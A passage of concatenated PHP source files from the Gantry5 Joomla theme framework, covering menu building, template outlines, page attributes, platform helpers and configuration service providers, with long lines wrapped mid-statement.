public function isCurrent($item)
{
return $item->id == $this->active->id
|| ($item->type == 'alias' &&
$item->params->get('aliasoptions') ==
$this->active->id);
}
/**
* Get menu items from the platform.
*
* @param array $params
* @return array List of routes to the pages.
*/
protected function getItemsFromPlatform($params)
{
$attributes = ['menutype'];
$values = [$params['menu']];
// Items are already filtered by access and language, in admin we
need to work around that.
if (\JFactory::getApplication()->isAdmin()) {
$attributes[] = 'access';
$values[] = null;
$attributes[] = 'language';
$values[] = null;
}
return $this->menu->getItems($attributes, $values);
}
/**
* Get base menu item.
*
* If itemid is not specified or does not exist, return active menu
item.
* If there is no active menu item, fall back to home page for the
current language.
* If there is no home page, return null.
*
* @param int $itemid
*
* @return object|null
*/
protected function calcBase($itemid = null)
{
$menu = $this->app->getMenu();
// Get base menu item.
$base = $itemid ? $menu->getItem($itemid) : null;
if (!$base) {
// Use active menu item or fall back to default menu item.
$base = $this->active ?: $this->default;
}
// Return base menu item.
return $base;
}
/**
* Get a list of the menu items.
*
* Logic was originally copied from Joomla 3.4 mod_menu/helper.php
(joomla-cms/staging, 2014-11-12).
* We should keep the contents of the function similar to Joomla in
order to review it against any changes.
*
* @param array $params
* @param array $items
*/
public function getList(array $params, array $items)
{
// Get base menu item for this menu (defaults to active menu item).
$this->base = $this->calcBase($params['base']);
// Make sure that the menu item exists.
if (!$this->base &&
!\JFactory::getApplication()->isAdmin()) {
return;
}
$levels = \JFactory::getUser()->getAuthorisedViewLevels();
asort($levels);
// FIXME: need to create collection class to gather the sibling
data, otherwise caching cannot work.
//$key = 'gantry_menu_items.' . json_encode($params) .
'.' . json_encode($levels) . '.' .
$this->base->id;
//$cache = \JFactory::getCache('mod_menu', '');
//try {
// $this->items = $cache->get($key);
//} catch (\Exception $e) {
// $this->items = false;
//}
if (1) {
$tree = isset($this->base->tree) ?
$this->base->tree : [];
$start = $params['startLevel'];
$max = $params['maxLevels'];
$end = $max ? $start + $max - 1 : 0;
$menuItems = $this->getItemsFromPlatform($params);
$itemMap = [];
foreach ($items as $path => &$itemRef) {
if (isset($itemRef['id']) &&
is_numeric($itemRef['id'])) {
$itemRef['path'] = $path;
$itemMap[$itemRef['id']] = &$itemRef;
}
}
foreach ($menuItems as $menuItem) {
if (($start && $start > $menuItem->level)
|| ($end && $menuItem->level > $end)
|| ($start > 1 &&
!in_array($menuItem->tree[$start - 2], $tree))) {
continue;
}
// These params always come from Joomla and cannot be
overridden.
$itemParams = [
'id' => $menuItem->id,
'type' => $menuItem->type,
'alias' => $menuItem->alias,
'path' => $menuItem->route,
'link' => $menuItem->link,
'link_title' =>
$menuItem->params->get('menu-anchor_title', ''),
'rel' =>
$menuItem->params->get('menu-anchor_rel', ''),
'enabled' => (bool)
$menuItem->params->get('menu_show', 1),
];
// Rest of the items will come from saved configuration.
if (isset($itemMap[$menuItem->id])) {
// ID found, use it.
$itemParams += $itemMap[$menuItem->id];
// Store new path for the menu item into path map.
if ($itemParams['path'] !==
$itemMap[$menuItem->id]['path']) {
if (!$this->pathMap) {
$this->pathMap = new Config([]);
}
$this->pathMap->set(preg_replace('|/|u',
'/children/', $itemMap[$menuItem->id]['path']) .
'/path', $itemParams['path'], '/');
}
} elseif (isset($items[$menuItem->route])) {
// ID not found, try to use route.
$itemParams += $items[$menuItem->route];
}
// Get default target from Joomla.
switch ($menuItem->browserNav)
{
default:
case 0:
// Target window: Parent.
$target = '_self';
break;
case 1:
case 2:
// Target window: New with navigation.
$target = '_blank';
break;
}
// And if not available in configuration, default to
Joomla.
$itemParams += [
'title' => $menuItem->title,
'anchor_class' =>
$menuItem->params->get('menu-anchor_css', ''),
'image' =>
$menuItem->params->get('menu_image', ''),
'icon_only' =>
!$menuItem->params->get('menu_text', 1),
'target' => $target
];
$item = new Item($this, $menuItem->route, $itemParams);
$this->add($item);
$link = $item->link;
switch ($item->type) {
case 'separator':
case 'heading':
// These types have no link.
$link = null;
break;
case 'url':
if ((strpos($item->link, 'index.php?')
=== 0) && (strpos($item->link, 'Itemid=') === false))
{
// If this is an internal Joomla link, ensure
the Itemid is set.
$link = $item->link .
'&Itemid=' . $item->id;
}
break;
case 'alias':
// If this is an alias use the item id stored in
the parameters to make the link.
$link = 'index.php?Itemid=' .
$menuItem->params->get('aliasoptions', 0);
break;
default:
$app = $this->app;
$router = $app::getRouter();
if ($router->getMode() == JROUTER_MODE_SEF) {
$link = 'index.php?Itemid=' .
$item->id;
if
(isset($menuItem->query['format']) &&
$app->get('sef_suffix')) {
$link .= '&format=' .
$menuItem->query['format'];
}
} else {
$link .= '&Itemid=' .
$item->id;
}
break;
}
if (!$link) {
$item->url(false);
} elseif (strcasecmp(substr($link, 0, 4), 'http')
&& (strpos($link, 'index.php?') !== false)) {
$item->url(\JRoute::_($link, false,
$menuItem->params->get('secure')));
} else {
$item->url(\JRoute::_($link, false));
}
if ($item->type == 'url') {
// Moved from modules/mod_menu/tmpl/default_url.php,
not sure why Joomla had application logic in there.
// Keep compatibility to Joomla menu module, but we
need non-encoded version of the url.
$item->url(
htmlspecialchars_decode(\JFilterOutput::ampReplace(htmlspecialchars($item->link,
ENT_COMPAT|ENT_SUBSTITUTE, 'UTF-8')))
);
}
}
// FIXME: need to create collection class to gather the sibling
data, otherwise caching cannot work.
// $cache->store($this->items, $key);
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Admin\ThemeList;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Outline\OutlineCollection;
use Gantry\Joomla\StyleHelper;
use Gantry\Joomla\TemplateInstaller;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Outlines extends OutlineCollection
{
protected $createId;
public function preset($id)
{
if (is_numeric($id)) {
$style = StyleHelper::getStyle($id);
$params = json_decode($style->params, true);
$id = isset($params['preset']) ?
$params['preset'] : 'default';
}
return $id;
}
public function current($template = null)
{
if (!is_object($template)) {
// Get the template style.
$template = \JFactory::getApplication()->getTemplate(true);
}
$preset = $template->params->get('preset',
'default');
$outline = $template->params->get('configuration',
!empty($template->id) ? $template->id : null);
GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage('Template Style:') &&
\Gantry\Debugger::addMessage($template);
if (JDEBUG && !$outline) {
static $shown = false;
if (!$shown) {
$shown = true;
\JFactory::getApplication()->enqueueMessage('[DEBUG]
JApplicationSite::getTemplate() was overridden with no specified Gantry 5
outline.', 'notice');
}
}
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
return ($outline &&
is_dir($locator("{$this->path}/{$outline}"))) ? $outline :
$preset;
}
/**
* @param string $path
* @return $this
*/
public function load($path = 'gantry-config://')
{
$this->path = $path;
$gantry = $this->container;
$theme = isset($gantry['theme.name']) ?
$gantry['theme.name'] : null;
$styles = ThemeList::getStyles($theme);
$installer = new
TemplateInstaller($this->container['theme.name']);
$title = $installer->getStyleName('%s - ');
$outlines = [];
foreach ($styles as $style) {
$preset = isset($style->params['preset']) ?
$style->params['preset'] : null;
$outline = isset($style->params['configuration'])
? $style->params['configuration'] : $preset;
if ($outline && $outline != $style->id) {
// New style generated by Joomla.
StyleHelper::copy($style, $outline, $style->id);
}
$outlines[$style->id] = preg_replace('|^' .
preg_quote($title) . '|', '', $style->style);
}
asort($outlines);
$this->items = $this->addDefaults($outlines);
return $this;
}
/**
* @param string|null $id
* @param string $title
* @param string|array $preset
* @return string
* @throws \RuntimeException
*/
public function create($id, $title = null, $preset = null)
{
if ($this->createId) {
// Workaround Joomla wanting to use different logic for style
duplication.
$new = parent::create($this->createId, $title, $preset);
$this->createId = null;
return $new;
}
$title = $title ? "%s - {$title}" : '%s -
Untitled';
$installer = new
TemplateInstaller($this->container['theme.name']);
$title = $installer->getStyleName($title);
$style = $installer->addStyle($title);
$error = $style->getError();
if ($error) {
throw new \RuntimeException($error, 400);
}
$presetId = (string)
(isset($preset['preset']['name']) ?
$preset['preset']['name'] : ($preset ?:
'default'));
StyleHelper::update($style->id, $presetId);
// Create configuration folder.
$id = parent::create($style->id, $title, $preset);
if ($id != $style->id) {
throw new \RuntimeException(sprintf("Creating outline:
folder '%s' already exists!", $style->id));
}
return $style->id;
}
public function duplicate($id, $title = null, $inherit = false)
{
if (!$this->canDuplicate($id)) {
throw new \RuntimeException("Outline '$id'
cannot be duplicated", 400);
}
// Handle special case of duplicating system outlines.
if ((string)(int) $id !== (string) $id) {
return parent::duplicate($id, $title, $inherit);
}
// Use Joomla logic to duplicate the style.
$model = StyleHelper::loadModel();
$pks = [$id];
if (!$model->duplicate($pks)) {
throw new \RuntimeException($model->getError(), 400);
}
// Seek the newly generated style ID since Joomla doesn't
return one on duplication.
$theme = $this->container['theme.name'];
$styles = ThemeList::getStyles($theme, true);
$style = end($styles);
if ($title) {
// Change the title.
$installer = new TemplateInstaller($theme);
$title = $installer->getStyleName("%s -
{$title}");
$this->rename($style->id, $title);
} else {
$title = $style->style;
}
$this->createId = $style->id;
return parent::duplicate($id, $title, $inherit);
}
public function rename($id, $title)
{
$model = StyleHelper::loadModel();
$item = $model->getTable();
$item->load($id);
if (!$item->id) {
throw new \RuntimeException('Outline not found',
404);
}
$theme = $this->container['theme.name'];
$installer = new TemplateInstaller($theme);
$title = $title ? "%s - {$title}" : '%s -
Untitled';
$title = $installer->getStyleName($title);
$item->title = $title;
if (!$item->check()) {
throw new \RuntimeException($item->getError(), 400);
}
if (!$item->store()) {
throw new \RuntimeException($item->getError(), 500);
}
if (isset($this->items[$id])) {
$this->items[$id] = $title;
}
return $id;
}
public function delete($id, $deleteModel = true)
{
if (!$this->canDelete($id)) {
throw new \RuntimeException("Outline '$id'
cannot be deleted", 400);
}
$model = StyleHelper::loadModel();
$item = $model->getTable();
$item->load($id);
try {
foreach ($this->getInheritingOutlines($id) as $outline =>
$title) {
$this->layout($outline)->updateInheritance($id)->save()->saveIndex();
}
foreach ($this->getInheritingOutlinesWithAtom($id) as
$outline => $title) {
Atoms::instance($outline)->updateInheritance($id)->save();
}
if ($deleteModel && !$model->delete($id)) {
$error = $model->getError();
// Well, Joomla can always send enqueue message instead!
if (!$error) {
$messages =
\JFactory::getApplication()->getMessageQueue();
$message = reset($messages);
$error = $message ? $message['message'] :
'Unknown error';
}
throw new \RuntimeException($error);
}
} catch (\Exception $e) {
throw new \RuntimeException('Deleting outline failed:
' . $e->getMessage(), 400, $e);
}
// Remove configuration directory.
$gantry = $this->container;
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$path =
$locator->findResource("{$this->path}/{$item->id}",
true, true);
if ($path) {
if (file_exists($path)) {
Folder::delete($path);
}
}
unset($this->items[$item->id]);
}
/**
* @param string $id
* @return boolean
*/
public function canDelete($id)
{
$model = StyleHelper::loadModel();
$item = $model->getTable();
$item->load($id);
return !$item->id || $item->home ? false : true;
}
/**
* @param string $id
* @return boolean
*/
public function isDefault($id)
{
$model = StyleHelper::loadModel();
$item = $model->getTable();
$item->load($id);
return (bool) $item->home;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
class Page extends Base\Page
{
public $home;
public $outline;
public $language;
public $direction;
// Joomla specific properties.
public $theme;
public $baseUrl;
public $title;
public $description;
public function __construct($container)
{
parent::__construct($container);
$app = \JFactory::getApplication();
$document = \JFactory::getDocument();
$input = $app->input;
$this->tmpl = $input->getCmd('tmpl',
'');
$this->option = $input->getCmd('option',
'');
$this->view = $input->getCmd('view',
'');
$this->layout = $input->getCmd('layout',
'');
$this->task = $input->getCmd('task',
'');
$this->itemid = $input->getInt('Itemid', 0);
$this->printing = $input->getCmd('print',
'');
$this->class = '';
if ($this->itemid) {
$menuItem = $app->getMenu()->getActive();
if ($menuItem && $menuItem->id) {
$this->home = (bool) $menuItem->home;
$this->class =
$menuItem->params->get('pageclass_sfx', '');
}
}
$templateParams = $app->getTemplate(true);
$this->outline = Gantry::instance()['configuration'];
$this->sitename = $app->get('sitename');
$this->theme = $templateParams->template;
$this->baseUrl = \JUri::base(true);
$this->title = $document->title;
$this->description = $document->description;
// Document has lower case language code, which causes issues with
some JS scripts (Snipcart). Use tag instead.
$code = explode('-', $document->getLanguage(), 2);
$language = array_shift($code);
$country = strtoupper(array_shift($code));
$this->language = $language . ($country ? '-' .
$country : '');
$this->direction = $document->direction;
}
public function url(array $args = [])
{
$url = \JUri::getInstance();
foreach ($args as $key => $val) {
$url->setVar($key, $val);
}
return $url->toString();
}
public function htmlAttributes()
{
$attributes = [
'lang' => $this->language,
'dir' => $this->direction
]
+ (array) $this->config->get('page.html', []);
return $this->getAttributes($attributes);
}
public function bodyAttributes($attributes = [])
{
if ($this->tmpl == 'component') {
$classes = ['contentpane', 'modal'];
} else {
$classes = ['site', $this->option,
"view-{$this->view}"];
$classes[] = $this->layout ? 'layout-' .
$this->layout : 'no-layout';
$classes[] = $this->task ? 'task-' .
$this->task : 'no-task';
}
$classes[] = 'dir-' . $this->direction;
if ($this->class) $classes[] = $this->class;
if ($this->printing) $classes[] = 'print-mode';
if ($this->itemid) $classes[] = 'itemid-' .
$this->itemid;
if ($this->outline) $classes[] = 'outline-' .
$this->outline;
$baseAttributes = (array)
$this->config->get('page.body.attribs', []);
if (!empty($baseAttributes['class'])) {
$baseAttributes['class'] = array_merge((array)
$baseAttributes['class'], $classes);
} else {
$baseAttributes['class'] = $classes;
}
return $this->getAttributes($baseAttributes, $attributes);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Admin\ThemeList;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Base\Platform as BasePlatform;
use Gantry\Joomla\Category\CategoryFinder;
use Gantry\Joomla\Content\Content;
use Gantry\Joomla\Content\ContentFinder;
/**
* The Platform Configuration class contains configuration information.
*
* @author RocketTheme
* @license MIT
*/
class Platform extends BasePlatform
{
public $no_base_layout = false;
public $module_wrapper = '<div
class="platform-content">%s</div>';
public $component_wrapper = '<div class="platform-content
row-fluid"><div
class="span12">%s</div></div>';
protected $name = 'joomla';
protected $features = ['modules' => true];
protected $settings_key = 'return';
protected $modules;
public function setModuleWrapper($html)
{
$this->module_wrapper = $html;
}
public function setComponentWrapper($html)
{
$this->component_wrapper = $html;
}
public function init()
{
// Support linked sample data.
$theme = isset($this->container['theme.name']) ?
$this->container['theme.name'] : null;
if ($theme && is_dir(JPATH_ROOT .
"/media/gantry5/themes/{$theme}/media-shared")) {
$custom = JPATH_ROOT .
"/media/gantry5/themes/{$theme}/custom";
if (!is_dir($custom)) {
// First run -- copy configuration into a single location.
$shared = JPATH_ROOT .
"/media/gantry5/themes/{$theme}/template-shared";
$demo = JPATH_ROOT .
"/media/gantry5/themes/{$theme}/template-demo";
try {
Folder::create($custom);
} catch (\Exception $e) {
throw new \RuntimeException(sprintf("Failed to
create folder '%s'.", $custom), 500, $e);
}
if (is_dir("{$shared}/custom/config")) {
Folder::copy("{$shared}/custom/config",
"{$custom}/config");
}
if (is_dir("{$demo}/custom/config")) {
Folder::copy("{$demo}/custom/config",
"{$custom}/config");
}
}
array_unshift($this->items['streams']['gantry-theme']['prefixes'][''],
"media/gantry5/themes/{$theme}/template-shared");
array_unshift($this->items['streams']['gantry-theme']['prefixes'][''],
"media/gantry5/themes/{$theme}/template-demo");
array_unshift($this->items['streams']['gantry-theme']['prefixes'][''],
"media/gantry5/themes/{$theme}/custom");
}
return parent::init();
}
public function getCachePath()
{
$path = \JFactory::getConfig()->get('cache_path',
JPATH_SITE . '/cache');
if (!is_dir($path)) {
throw new \RuntimeException('Joomla cache path does not
exist!');
}
return $path . '/gantry5';
}
public function getThemesPaths()
{
return ['' => ['templates']];
}
public function getMediaPaths()
{
$paths = ['images'];
// Support linked sample data.
$theme = isset($this->container['theme.name']) ?
$this->container['theme.name'] : null;
if ($theme && is_dir(JPATH_ROOT .
"/media/gantry5/themes/{$theme}/media-shared")) {
array_unshift($paths,
"media/gantry5/themes/{$theme}/media-shared");
array_unshift($paths,
"media/gantry5/themes/{$theme}/media-demo");
}
if
($this->container['global']->get('use_media_folder',
false)) {
array_push($paths, 'gantry-theme://images');
} else {
array_unshift($paths, 'gantry-theme://images');
}
return ['' => $paths];
}
public function getEnginesPaths()
{
if (is_link(GANTRY5_ROOT . '/media/gantry5/engines')) {
// Development environment.
return ['' =>
["media/gantry5/engines/{$this->name}",
'media/gantry5/engines/common']];
}
return ['' => ['media/gantry5/engines']];
}
public function getAssetsPaths()
{
if (is_link(GANTRY5_ROOT . '/media/gantry5/assets')) {
// Development environment.
return ['' => ['gantry-theme://',
"media/gantry5/assets/{$this->name}",
'media/gantry5/assets/common']];
}
return ['' => ['gantry-theme://',
'media/gantry5/assets']];
}
/**
* Get preview url for individual theme.
*
* @param string $theme
* @return string
*/
public function getThemePreviewUrl($theme)
{
return (string)(int) $theme === (string) $theme ?
\JUri::root(false) . 'index.php?templateStyle=' . $theme : null;
}
/**
* Get administrator url for individual theme.
*
* @param string $theme
* @return string
*/
public function getThemeAdminUrl($theme)
{
$token = \JSession::getFormToken();
return
\JRoute::_("index.php?option=com_gantry5&view=configurations/default/styles&theme={$theme}&{$token}=1"
, false);
}
public function filter($text)
{
\JPluginHelper::importPlugin('content');
return \JHtml::_('content.prepare', $text, '',
'mod_custom.content');
}
public function countModules($position)
{
$document = \JFactory::getDocument();
return ($document instanceof \JDocumentHTML) ?
$document->countModules($position) : 0;
}
public function getModules($position)
{
// TODO:
return [];
}
public function displayModule($id, $attribs = [])
{
$document = \JFactory::getDocument();
if (!$document instanceof \JDocumentHTML) {
return '';
}
$module = is_object($id) ? $id : $this->getModule($id);
// Make sure that module really exists.
if (!is_object($module)) {
return '';
}
$isGantry = \strpos($module->module, 'gantry5') !==
false;
$content = isset($module->content) ? $module->content : null;
$renderer = $document->loadRenderer('module');
$html = trim($renderer->render($module, $attribs));
// Add frontend editing feature as it has only been defined for
module positions.
$app = \JFactory::getApplication();
$user = \JFactory::getUser();
$frontEditing = ($app->isSite() &&
$app->get('frontediting', 1) && !$user->guest);
$menusEditing = ($app->get('frontediting', 1) == 2)
&& $user->authorise('core.edit',
'com_menus');
if (!$isGantry && $frontEditing && $html &&
$user->authorise('module.edit.frontend',
'com_modules.module.' . $module->id)) {
$displayData = [
'moduleHtml' => &$html,
'module' => $module,
'position' =>
isset($attribs['position']) ? $attribs['position'] :
$module->position,
'menusediting' => $menusEditing
];
\JLayoutHelper::render('joomla.edit.frontediting_modules',
$displayData);
}
// Work around Joomla "issue" which corrupts content of
custom html module (last checked J! 3.6.5).
$module->content = $content;
if ($html && !$isGantry) {
$this->container['theme']->joomla(true);
return sprintf($this->module_wrapper, $html);
}
return $html;
}
public function displayModules($position, $attribs = [])
{
$document = \JFactory::getDocument();
if (!$document instanceof \JDocumentHTML) {
return '';
}
$html = '';
foreach (\JModuleHelper::getModules($position) as $module) {
$html .= $this->displayModule($module, $attribs);
}
return $html;
}
public function displaySystemMessages($params = [])
{
// We cannot use JDocument renderer here as it fires too early to
display any messages.
return '<jdoc:include type="message" />';
}
public function displayContent($content, $params = [])
{
$document = \JFactory::getDocument();
if (!$document instanceof \JDocumentHTML) {
return $content;
}
$renderer = $document->loadRenderer('component');
$html = trim($renderer->render(null, $params, $content ?:
$document->getBuffer('component')));
$isGantry =
\strpos(\JFactory::getApplication()->input->getCmd('option'),
'gantry5') !== false;
if ($html && !$isGantry) {
$this->container['theme']->joomla(true);
return sprintf($this->component_wrapper, $html);
}
return $html;
}
public function getModule($id)
{
$modules = $this->getModuleList();
return $id && isset($modules[$id]) ? $modules[$id] : null;
}
protected function &getModuleList()
{
if ($this->modules === null) {
$modules = \JModuleHelper::getModuleList();
$this->modules = [];
foreach ($modules as $module) {
$this->modules[$module->id] = $module;
}
}
return $this->modules;
}
public function listModules()
{
$db = \JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('a.id, a.title, a.position, a.module,
a.published AS enabled')
->from('#__modules AS a');
// Join on the asset groups table.
$query->select('ag.title AS access')
->join('LEFT', '#__viewlevels AS ag ON ag.id
= a.access')
->where('a.published >= 0')
->where('a.client_id = 0')
->order('a.position, a.module, a.ordering');
$db->setQuery($query);
try {
$result = $db->loadObjectList();
} catch (\RuntimeException $e) {
return false;
}
return $result;
}
public function getEditor($name, $content = '', $width =
null, $height = null)
{
$conf = \JFactory::getConfig();
$editor = \JEditor::getInstance($conf->get('editor'));
if (!$height) {
$height = 250;
}
return $editor->display($name, $content, $width, $height, 50, 8,
false, null, null, null, ['html_height' => $height]);
}
public function errorHandlerPaths()
{
return ['|gantry5|'];
}
public function settings()
{
if (!$this->authorize('platform.settings.manage')) {
return '';
}
return
\JRoute::_('index.php?option=com_config&view=component&component=com_gantry5',
false);
}
public function update()
{
return
\JRoute::_('index.php?option=com_installer&view=update',
false);
}
public function updates()
{
if (!$this->authorize('updates.manage')) {
return [];
}
$styles = ThemeList::getThemes();
$extension_ids = array_unique(array_map(
function($item) {
return (int) $item->extension_id;
},
$styles));
$extension_ids = $extension_ids ? implode(',',
$extension_ids) : '-1';
$db = \JFactory::getDbo();
$query = $db->getQuery(true);
$query
->select('*')
->from('#__updates')
->where("element='pkg_gantry5' OR
extension_id IN ($extension_ids)");
$db->setQuery($query);
$updates = $db->loadObjectList();
$list = [];
foreach ($updates as $update) {
if ($update->element === 'pkg_gantry5') {
// Rename Gantry 5 package.
$update->name = 'Gantry';
// Ignore git and CI installs and if the Gantry version is
the same or higher than in the updates.
if (version_compare(GANTRY5_VERSION, 0) < 0 ||
version_compare($update->version, GANTRY5_VERSION) <= 0) {
continue;
}
} else {
// Check if templates need to be updated.
$version = isset($styles[$update->element]) ?
$styles[$update->element]->get('details.version') : null;
if (version_compare($version, 0) < 0 ||
version_compare($update->version, $version) <= 0) {
continue;
}
}
$list[] = $update->name . ' ' .
$update->version;
}
return $list;
}
public function factory()
{
$args = func_get_args();
$method = ['JFactory', 'get'. ucfirst((string)
array_shift($args))];
return method_exists($method[0], $method[1]) ?
call_user_func_array($method, $args) : null;
}
public function instance()
{
$args = func_get_args();
$class = ucfirst((string) array_shift($args));
if (!$class) {
return null;
}
if (class_exists('J'. $class)) {
$class = 'J'. $class;
}
$method = [$class, 'getInstance'];
return method_exists($method[0], $method[1]) ?
call_user_func_array($method, $args) : null;
}
public function route()
{
return call_user_func_array(['JRoute', '_'],
func_get_args());
}
public function html()
{
$args = func_get_args();
if (isset($args[0]) && method_exists('JHtml',
$args[0])) {
return call_user_func_array(['JHtml',
array_shift($args)], $args);
}
return call_user_func_array(['JHtml', '_'],
$args);
}
public function article($keys)
{
return Content::getInstance($keys);
}
public function finder($domain, $options = null)
{
$options = (array) $options;
switch ($domain) {
case 'article':
case 'articles':
case 'content':
$finder = new ContentFinder($options);
return \JFactory::getApplication()->isSite() ?
$finder->authorised() : $finder;
case 'category':
case 'categories':
$finder = (new
CategoryFinder($options))->extension('content');
return \JFactory::getApplication()->isSite() ?
$finder->authorised() : $finder;
}
return null;
}
public function truncate($text, $length, $html = false)
{
return \JHtml::_('string.truncate', $text, $length, true,
$html);
}
public function authorize($action, $id = null)
{
$user = \JFactory::getUser();
switch ($action) {
case 'platform.settings.manage':
return $user->authorise('core.admin',
'com_templates') || $user->authorise('core.admin',
'com_gantry5');
case 'menu.manage':
return $user->authorise('core.manage',
'com_menus') &&
$user->authorise('core.edit', 'com_menus');
case 'menu.edit':
if ($id) {
$db = \JFactory::getDbo();
$userId = \JFactory::getUser()->id;
// Verify that no items are checked out.
$query = $db->getQuery(true)
->select('id')
->from('#__menu')
->where('menutype=' .
$db->quote($id))
->where('checked_out !=' . (int)
$userId)
->where('checked_out !=0');
$db->setQuery($query);
if ($db->loadRowList()) {
return false;
}
// Verify that no module for this menu are checked out.
$query->clear()
->select('id')
->from('#__modules')
->where('module=' .
$db->quote('mod_menu'))
->where('params LIKE ' .
$db->quote('%"menutype":' . json_encode($id) .
'%'))
->where('checked_out !=' . (int)
$userId)
->where('checked_out !=0');
$db->setQuery($query);
if ($db->loadRowList()) {
return false;
}
}
return $user->authorise('core.edit',
'com_menus');
case 'updates.manage':
return $user->authorise('core.manage',
'com_installer');
case 'outline.create':
return $user->authorise('core.create',
'com_templates');
case 'outline.delete':
return $user->authorise('core.delete',
'com_templates');
case 'outline.rename':
return $user->authorise('core.edit',
'com_templates');
case 'outline.assign':
return $user->authorise('core.edit.state',
'com_templates') &&
$user->authorise('core.edit', 'com_menu');
case 'outline.edit':
return true;
}
return true;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework;
use Gantry\Component\Position\Positions as BasePositions;
class Positions extends BasePositions
{
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework;
use Gantry\Component\Request\Request as BaseRequest;
class Request extends BaseRequest {}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Services;
use Gantry\Component\Config\CompiledBlueprints;
use Gantry\Component\Config\CompiledConfig;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Framework\Atoms;
use Pimple\Container;
use Pimple\ServiceProviderInterface;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class ConfigServiceProvider implements ServiceProviderInterface
{
public function register(Container $gantry)
{
$gantry['blueprints'] = function($c) {
GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer('blueprints', 'Loading
blueprints');
$blueprints = static::blueprints($c);
GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer('blueprints');
return $blueprints;
};
$gantry['config'] = function($c) {
// Make sure configuration has been set.
if (!isset($c['configuration'])) {
throw new \LogicException('Gantry: Please set current
configuration before using $gantry["config"]', 500);
}
GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer('config', 'Loading
configuration');
// Get the current configuration and lock the value from
modification.
$outline = $c->lock('configuration');
$config = static::load($c, $outline);
GANTRY_DEBUGGER &&
\Gantry\Debugger::setConfig($config)->stopTimer('config');
return $config;
};
}
public static function blueprints(Container $container)
{
/** @var UniformResourceLocator $locator */
$locator = $container['locator'];
$cache =
$locator->findResource('gantry-cache://theme/compiled/blueprints',
true, true);
$files = [];
$paths =
$locator->findResources('gantry-particles://');
$files += (new
ConfigFileFinder)->setBase('particles')->locateFiles($paths);
$paths =
$locator->findResources('gantry-blueprints://');
$files += (new ConfigFileFinder)->locateFiles($paths);
$config = new CompiledBlueprints($cache, $files, GANTRY5_ROOT);
return $config->load();
}
public static function load(Container $container, $name =
'default', $combine = true, $withDefaults = true)
{
/** @var UniformResourceLocator $locator */
$locator = $container['locator'];
$combine = $combine && $name !== 'default';
// Merge current configuration with the default.
$uris = $combine ? ["gantry-config://{$name}",
'gantry-config://default'] :
["gantry-config://{$name}"];
$paths = [];
foreach ($uris as $uri) {
$paths = array_merge($paths, $locator->findResources($uri));
}
// Locate all configuration files to be compiled.
$files = (new ConfigFileFinder)->locateFiles($paths);
$cache =
$locator->findResource('gantry-cache://theme/compiled/config',
true, true);
if (!$cache) {
throw new \RuntimeException('Who just removed Gantry 5
cache folder? Try reloading the page if it fixes the issue');
}
$compiled = new CompiledConfig($cache, $files, GANTRY5_ROOT);
$compiled->setBlueprints(function() use ($container) {
return $container['blueprints'];
});
$config = $compiled->load($withDefaults);
// Set atom inheritance.
$atoms = $config->get('page.head.atoms');
if (is_array($atoms)) {
$config->set('page.head.atoms', (new
Atoms($atoms))->init()->toArray());
}
return $config;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Services;
use Gantry\Component\Whoops\SystemFacade;
use Gantry\Framework\Platform;
use Pimple\Container;
use Pimple\ServiceProviderInterface;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Whoops\Handler\JsonResponseHandler;
use Whoops\Handler\PrettyPageHandler;
use Whoops\Run;
use Whoops\Util\Misc;
class ErrorServiceProvider implements ServiceProviderInterface
{
protected $format;
public function __construct($format = 'html')
{
$this->format = $format;
}
public function register(Container $container)
{
/** @var UniformResourceLocator $locator */
$locator = $container['locator'];
/** @var Platform $platform */
$platform = $container['platform'];
